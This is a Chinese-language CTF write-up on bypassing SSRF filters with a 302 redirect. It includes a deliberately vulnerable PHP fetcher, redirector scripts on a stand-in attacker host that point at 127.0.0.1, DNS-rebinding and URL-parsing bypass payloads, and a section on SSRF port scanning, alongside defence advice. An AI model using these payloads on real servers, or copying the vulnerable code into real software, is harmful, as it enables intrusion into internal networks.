
1. 项目概述从一次真实的SSRF绕过实战说起最近在CTFHub的技能树里刷题遇到了一个关于SSRFServer-Side Request Forgery服务端请求伪造的关卡题目名字就叫“302跳转 Bypass”。这名字一听就有点意思它不像基础的SSRF那样直接让你去访问内网某个IP而是设置了一个“跳转”的障碍。很多刚开始接触Web安全的朋友一看到SSRF可能就想到用file://、gopher://或者dict://这些协议去探测或攻击内网服务但现实中的防御措施和题目设置往往会更狡猾一些。这个“302跳转 Bypass”就是一个经典的场景它模拟了服务器在收到你的请求后不是直接处理而是返回一个302状态码告诉你的请求工具比如后端代码里用的curl或file_get_contents“嘿你要的资源搬地方了去另一个URL拿吧”。如果你的攻击载荷在第一次请求时被检查是合法的但跳转后的目标地址却是非法的比如指向内网而服务器端的请求函数又默认跟随了跳转那么漏洞就产生了。这个关卡的核心就是理解并利用这种“检查点A执行点B”的差异。无论你是正在攻克CTFHub技能树的选手还是想深入理解SSRF漏洞在各种边界条件下的表现的安全爱好者这个绕过技巧都值得你花时间彻底弄明白。它不仅仅是解一道题更是理解现代Web应用中逻辑缺陷与安全配置不当如何交织产生风险的绝佳案例。2. SSRF与302跳转漏洞原理深度拆解2.1 SSRF漏洞的核心与常见防御SSRF的本质是攻击者能够诱使服务器应用程序向攻击者指定的任意地址发起网络请求。想象一下你是一个外卖平台的服务器正常流程是用户下单提供餐厅URL你去餐厅取餐。但SSRF攻击者伪造了一个订单把取餐地址写成了“隔壁银行的金库”。如果你不加验证就直接去“取餐”那就相当于为攻击者打开了一条从外网进入内网的通道。常见的危险操作包括读取服务器本地文件file:///etc/passwd、探测内网端口和服务http://192.168.1.1:8080/admin、甚至利用其他协议如gopher://,dict://与内网Redis、Memcached等服务进行交互从而可能实现远程代码执行。正因为危害巨大开发者通常会部署一些防御措施黑名单/白名单过滤检查用户输入的URL是否包含内网IP段如127.0.0.1,192.168.*.*,10.*.*.*,172.16.*.*、localhost或危险协议file://,gopher://等。URL解析与重定向控制对用户输入的URL进行规范化解析并严格控制服务器端请求函数是否自动跟随重定向。一个安全的做法是禁止自动跟随重定向或者对重定向的目标地址进行二次校验。2.2 302状态码请求的“中转站”HTTP 302状态码Found是临时重定向的典型代表。当客户端如浏览器或服务器的curl向服务器A发起一个请求时服务器A可以回复“你要的东西不在我这儿但它临时在B那里这是B的地址Location头”。一个遵循标准的客户端会自动向地址B发起新的请求。在PHP中使用cURL发起请求时CURLOPT_FOLLOWLOCATION选项默认为true意味着会自动跟随重定向。在file_get_contents的上下文里如果allow_url_fopen开启且使用了HTTP流上下文它也会跟随重定向。这里就产生了安全边界开发者可能在代码中对用户输入的初始URL我们称为$url进行了严格的安全检查认为它是“安全”的。然而如果这个“安全”的URL指向一个攻击者控制的服务器并且该服务器返回一个302响应将Location头设置为一个“不安全”的内网地址那么当后端请求函数自动跟随这个重定向时SSRF攻击就绕过了第一层的安全检查直达内网目标。2.3 绕过逻辑利用信任链的断裂整个绕过过程可以抽象为一次“信任传递”的滥用建立初始信任攻击者提供一个外网、合法、能通过过滤器的URL例如http://attacker.com/redirector.php。服务器的校验逻辑看到这个URL不包含黑名单关键词协议是允许的HTTP/HTTPS于是放行。植入恶意指令attacker.com/redirector.php这个页面非常简单其核心代码可能只有一行header(Location: http://127.0.0.1:8080/flag.php);。它的唯一使命就是返回一个302跳转响应。滥用自动跟随服务器后端如一个存在漏洞的curl调用向attacker.com发起请求收到302响应。由于配置为跟随重定向它不再进行任何二次校验直接向Location头指定的127.0.0.1:8080发起新的请求。攻击达成这次请求成功访问了本应被隔离的内网服务攻击者通过读取响应内容获取了敏感信息如flag。这个漏洞的根源在于安全校验的粒度不够细只检查了“第一跳”而忽略了请求链上后续的“跳跃”。防御逻辑没有贯穿整个请求生命周期。3. 实战环境搭建与漏洞代码分析3.1 模拟漏洞场景一个简单的PHP示例为了彻底理解我们最好亲手搭建一个存在此漏洞的简易环境。假设我们有一个提供“网页快照”功能的PHP服务它接收一个URL参数然后服务器去抓取那个网页的标题返回给用户。?php // vulnerable.php error_reporting(0); if (isset($_GET[url])) { $url $_GET[url]; // 第一层安全检查伪安全 if (preg_match(/127\.0\.0\.1|localhost|192\.168|10\.|172\.(1[6-9]|2[0-9]|3[0-1])/i, $url)) { die(Hacker! Internal IP is not allowed!); } if (strpos($url, file://) ! false || strpos($url, gopher://) ! false || strpos($url, dict://) ! false) { die(Hacker! Dangerous protocol!); } // 第二层发起请求存在漏洞 $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 默认开启自动跟随重定向 curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response curl_exec($ch); curl_close($ch); // 假设我们只是简单匹配标题标签 if (preg_match(/title(.*?)\/title/is, $response, $matches)) { echo The title of the page is: . htmlspecialchars($matches[1]); } else { echo Failed to fetch title or title not found.; } } else { highlight_file(__FILE__); } ?3.2 攻击服务器准备一个极简的重定向脚本攻击者需要一台拥有公网IP或域名的服务器对于CTF题目通常题目会提供一个可用的域名或IP或者允许你使用一些提供临时HTTP服务的在线平台。在这台服务器上放置一个PHP文件例如redirector.php?php // redirector.php 放置在 attacker.com header(Location: http://127.0.0.1:8080/secret_admin_page.php); // 或者跳转到其他内网地址如 http://192.168.1.100/flag exit(); ?这个脚本没有任何HTML输出它的全部作用就是在被访问时立即告诉客户端“请去127.0.0.1:8080”。3.3 漏洞利用链的完整推演攻击者构造Payloadhttp://vulnerable.site/vulnerable.php?urlhttp://attacker.com/redirector.php漏洞服务器接收请求vulnerable.php收到参数对http://attacker.com/redirector.php进行正则检查。该URL不包含任何黑名单IP或协议检查通过。漏洞服务器发起首次请求cURL 向http://attacker.com/redirector.php发起GET请求。攻击服务器响应跳转attacker.com的Web服务器执行redirector.php返回HTTP 302响应响应头中包含Location: http://127.0.0.1:8080/secret_admin_page.php。漏洞服务器自动跟随由于CURLOPT_FOLLOWLOCATION设置为1cURL会自动向新的Location地址发起第二次GET请求。访问内网资源第二次请求成功发送至本地的127.0.0.1:8080端口。如果该端口运行着一个Web服务比如一个只监听本地端口的管理后台那么该服务就会处理这个请求并将响应例如管理页面的HTML或者关键的flag返回给cURL。攻击者获取结果cURL将第二次请求的响应内容返回给vulnerable.php的$response变量经过后续处理如提取标题最终呈现在攻击者面前。攻击者从而间接读取了内网服务的数据。关键点剖析整个过程中最关键的一步是第5步——自动跟随重定向且无二次校验。安全校验在第2步就结束了它只守卫了“城门”却没有检查“进城后的人”是否会通过城内的密道302跳转进入“皇宫”内网。4. 高级绕过技巧与协议利用4.1 利用DNS重绑定DNS Rebinding302跳转是应用层的一种绕过方式。在某些更严格的过滤下服务器可能不仅检查URL字符串还会解析URL中的主机名获取其IP地址进行校验。例如它可能禁止任何解析后IP属于内网的请求。这时单纯的302跳转可能失效因为跳转后的Location头中的主机名如intranet.corp解析出来依然是内网IP在跟随重定向前可能被拦截。一种更高级的绕过技术是DNS重绑定。攻击者可以控制一个域名例如evil.attacker.com并配置其DNS记录具有极短的TTL生存时间。首先将其A记录指向一个攻击者拥有的外网IP。漏洞服务器在第一次请求http://evil.attacker.com/malicious.php时DNS解析得到外网IP通过校验。malicious.php脚本可以做一些事情比如延迟几秒或者简单地返回一个302跳转到http://evil.attacker.com/attack。关键在于在第一次请求和服务器跟随重定向发起第二次请求的短暂间隙攻击者迅速将evil.attacker.com的DNS记录修改为指向一个内网IP如127.0.0.1。由于TTL极短漏洞服务器的DNS解析器可能会重新查询得到新的内网IP地址从而成功访问内网服务。这利用了“校验时是外网IP实际请求时是内网IP”的时间差。4.2 结合非常规协议与URL解析差异即使限制了HTTP/HTTPS攻击者有时也能利用URL解析器的特性。例如一些编程语言的URL解析库和浏览器对URL的解析可能存在差异导致过滤被绕过。利用符号URL标准中http://user:passhost/path是合法的。有些过滤器可能只检查之前或之后的部分。攻击者可以构造http://attacker.com127.0.0.1/。一个粗糙的过滤器如果只匹配127.0.0.1可能会漏掉它。但更常见的是这个技巧用于将“真正要访问的主机”放在后面而前面部分用于通过过滤。不过现代库的解析通常能正确识别出最终主机是127.0.0.1。利用IPv6与IPv4封装http://[::ffff:127.0.0.1]/是IPv4回环地址的IPv6表示形式。一些简单的基于字符串匹配的黑名单可能无法识别这种格式。利用畸形或过时协议如localhost.后面带点、127.0.0.1.nip.ionip.io是一个将任何前缀解析为对应IP的服务127.0.0.1.nip.io解析为127.0.0.1等。这些主机名最终解析为内网IP但字符串本身可能绕过基于关键词的过滤。在302跳转的上下文中攻击者可以将这些“畸形”但能解析为内网IP的地址放在跳转后的Location头中。只要漏洞服务器的请求库能正常解析这些地址攻击就能成功。4.3 针对特定环境与编程语言的技巧不同语言和库的默认行为有细微差别了解这些差异有助于构造更精准的Payload。PHP的cURL与file_get_contents如前所述CURLOPT_FOLLOWLOCATION是关键。此外cURL还支持通过CURLOPT_REDIR_PROTOCOLS来限制跟随重定向时的协议如果配置不当例如允许从HTTP跳转到FILE协议可能带来更严重的风险。file_get_contents()在配合allow_url_fopen和HTTP流上下文时其重定向行为也需注意。Python的requests库requests.get(url, allow_redirectsTrue)默认也是跟随重定向的。攻击思路完全一致。Java的HttpURLConnection默认情况下HttpURLConnection会跟随重定向。可以通过setInstanceFollowRedirects(false)来禁用。Node.js的http/https模块或axios需要查看具体实现。例如axios默认会跟随重定向。实操心得在实际的CTF比赛或渗透测试中遇到SSRF点第一步永远是测试重定向行为。你可以先尝试让服务器请求一个你控制的、会返回302跳转到http://httpbin.org/ip一个返回请求者IP的服务的地址。观察返回结果如果返回的是httpbin.org看到的IP即漏洞服务器的出口IP而不是你控制服务器的IP那就证明它跟随了重定向并且重定向后的请求是从漏洞服务器内部发起的。这是一个非常重要的确认步骤。5. 防御策略与安全编程实践理解了攻击手法防御的思路就清晰了核心原则是对最终发起请求的目标进行校验而不是仅对用户输入进行校验。5.1 代码层面的根本性修复禁用自动重定向这是最直接有效的方法。在服务端发起任何外部请求时显式关闭重定向跟随功能。PHP cURL:curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);Python requests:requests.get(url, allow_redirectsFalse)Java HttpURLConnection:connection.setInstanceFollowRedirects(false);禁用后服务器只会收到302响应和Location头而不会自动发起第二次请求。你可以安全地检查Location头的值或者直接向用户返回重定向信息如果业务需要。实施链式校验白名单最佳如果业务必须跟随重定向例如网页爬虫那么必须对重定向后的目标地址实施与初始地址完全相同的安全校验。实现一个安全的请求函数在每次发起请求前无论是初始请求还是重定向请求都调用同一个校验函数。强烈建议使用白名单机制只允许访问预先定义好的、明确可信的域名或IP地址列表。这比黑名单要可靠得多因为黑名单永远无法穷尽所有可能的绕过方式如新的DNS技巧、未公开的内网域名等。如果必须用黑名单除了检查IP地址还要检查解析后的IP是否属于私有地址段。同时要使用编程语言网络库提供的标准函数来解析主机名和IP而不是自己用正则表达式处理字符串因为标准库能更准确地处理各种边缘情况。控制请求目标避免让用户完全控制整个URL。如果功能是获取某个网站的内容可以考虑让用户输入域名或路径然后在服务器端拼接上固定的协议和基础路径。例如而不是直接使用$url而是使用https://api.trusted-site.com/v1/data?key. urlencode($user_input)。5.2 网络与系统架构层面的加固网络隔离这是缓解SSRF影响的最重要手段。即使应用层防御被绕过如果关键的内网服务如数据库、缓存服务器、元数据服务部署在独立的、与前端Web服务器网络隔离的VPC或子网中并且配置了严格的安全组/防火墙规则仅允许特定IP访问那么即使Web服务器被利用发起SSRF请求也无法到达这些核心服务。使用中间代理或网关所有从服务器发起的对外请求都强制经过一个配置了严格出口过滤的代理或网关。这个网关可以实施统一的白名单策略阻止对内网地址的请求。最小化服务器权限运行Web服务的操作系统账户应具有最小权限。避免使用root或高权限账户。这样即使通过SSRF读取了本地文件能访问的范围也有限。及时更新和修复库确保使用的网络请求库如cURL、libcurl是最新版本以避免已知的解析漏洞或协议处理问题。5.3 安全开发流程与测试代码审计在代码审查阶段重点关注所有涉及外部URL请求的函数调用。检查其重定向配置和参数过滤逻辑。自动化安全测试SAST/DAST使用静态应用安全测试工具扫描源代码寻找可能存在SSRF风险的代码模式。使用动态应用安全测试工具主动构造包含302跳转、DNS重绑定等技术的Payload对应用进行测试。模糊测试针对接收URL参数的功能点使用各种畸形的、包含重定向的URL进行测试观察服务器的响应行为。6. CTFHub “302跳转 Bypass” 关卡实战复盘与技巧回到CTFHub的这个具体关卡。通常这类题目的设置如下目标获取一个位于内网通常是127.0.0.1或192.168.0.xx某个端口上的Web服务中的flag。前端界面一个简单的输入框让你提交一个URL服务器会去访问它并返回一些信息可能是标题、部分正文或者整个响应。过滤机制题目会模拟我们之前分析的有缺陷的过滤只检查初始URL不检查重定向。攻击者可控端题目通常会提供一个在题目环境内可访问的、你能上传文件或已知路径的“攻击服务器”地址可能是一个子域名或者一个特殊的端口用于放置你的302跳转脚本。解题步骤通常如下信息收集首先尝试直接访问内网地址如http://127.0.0.1/或http://127.0.0.1:80。通常会返回错误或直接拦截确认存在过滤。测试重定向使用题目提供的“攻击服务器”或自己搭建一个如果题目允许外连创建一个302跳转脚本跳转到一个你能接收请求的公开服务如http://httpbin.org/ip或requestbin.com。将你的跳转脚本URL提交给题目。如果返回的结果显示IP是题目服务器的IP而非你的服务器IP则证明存在自动重定向且漏洞可利用。定位flag服务你需要知道内网flag的具体地址。这可能需要端口扫描。由于是SSRF你可以利用漏洞服务器本身作为扫描器。编写一个跳转脚本让其按顺序跳转到127.0.0.1:1,127.0.0.1:2, ... 或者常见的端口如80, 8080, 6379等。通过观察题目的响应是超时、连接拒绝还是有HTTP响应来判断端口开放情况。在CTF中flag服务端口有时会直接给出提示。构造最终Payload一旦确定了flag服务的完整URL例如http://127.0.0.1:8080/flag.php你的攻击脚本就非常简单了直接302跳转到这个地址即可。获取flag提交你的跳转脚本地址到题目输入框题目服务器会访问你的脚本收到302指令然后跟随跳转访问内网的flag服务并将flag服务的响应内容带回显示在题目页面上。常见问题与排查技巧实录问题1提交跳转地址后题目返回“Hacker!”或“Invalid URL”。排查检查你的跳转脚本地址是否包含了被过滤的关键词题目提供的“攻击服务器”域名是否本身就在黑名单里有时题目会检查域名是否包含127.0.0.1等你需要确保初始URL是“干净”的。技巧尝试使用短链接服务、或者利用URL编码、双重编码来混淆初始URL。有时题目可能只解码一次。问题2题目似乎跟随了重定向但返回的是空白、错误或跳转脚本的内容而不是flag。排查首先确认你的跳转脚本是否正确返回了302状态码和Location头。可以用浏览器直接访问你的脚本用开发者工具的网络面板查看响应头。确保没有输出任何额外的空格或字符因为额外的输出可能会破坏HTTP头。排查检查跳转的目标地址内网地址是否正确服务是否真的在运行。你可以尝试在题目环境中如果提供SSH或Web终端用curl或wget测试一下那个内网地址是否可达注意通常不行因为过滤存在于Web应用层命令行可能不受限。技巧在跳转脚本中使用header(Location: ..., true, 302);来显式指定302状态码。在header()函数前确保没有任何输出包括PHP文件开头的?php标签之前不能有空格或空行。问题3题目对重定向后的协议也做了限制。排查例如题目可能只允许跳转后的目标也是HTTP/HTTPS而禁止file://等。这通常不影响从HTTP到HTTP的跳转。但如果题目要求从HTTPS跳转到HTTP有些安全配置可能会阻止。在CTF中这种情况较少。技巧如果遇到尝试保持协议一致。问题4如何在不借助外部服务器的情况下测试技巧在一些CTF环境中可能会提供一个“沙盒”或“临时文件上传”功能让你能上传一个PHP文件并访问。你可以直接上传你的302跳转脚本然后用这个脚本的地址作为Payload。这就是题目提供的“攻击服务器”的常见形式。一个典型的CTF解题Payload构造示例假设题目地址是http://challenge.ctfhub.com:10080/它提供一个输入框。 题目提示“你的服务器位于http://your-ip:8000/”这是一个题目网络内可访问的地址。 Flag在http://127.0.0.1:8080/flag.php。在your-ip:8000上放置exploit.php内容为?php header(Location: http://127.0.0.1:8080/flag.php); ?在题目输入框提交http://your-ip:8000/exploit.php题目服务器访问你的exploit.php收到302跳转指令自动访问http://127.0.0.1:8080/flag.php并将返回的flag内容显示出来。这个关卡的精髓在于理解SSRF漏洞的利用不总是“直来直去”的中间层的逻辑处理如重定向往往会引入新的攻击面。作为防御者必须将安全校验的视角覆盖整个请求生命周期作为攻击者则需要敏锐地发现并利用这些逻辑链上的断层。掌握302跳转Bypass你的SSRF武器库就又多了一件趁手的兵器。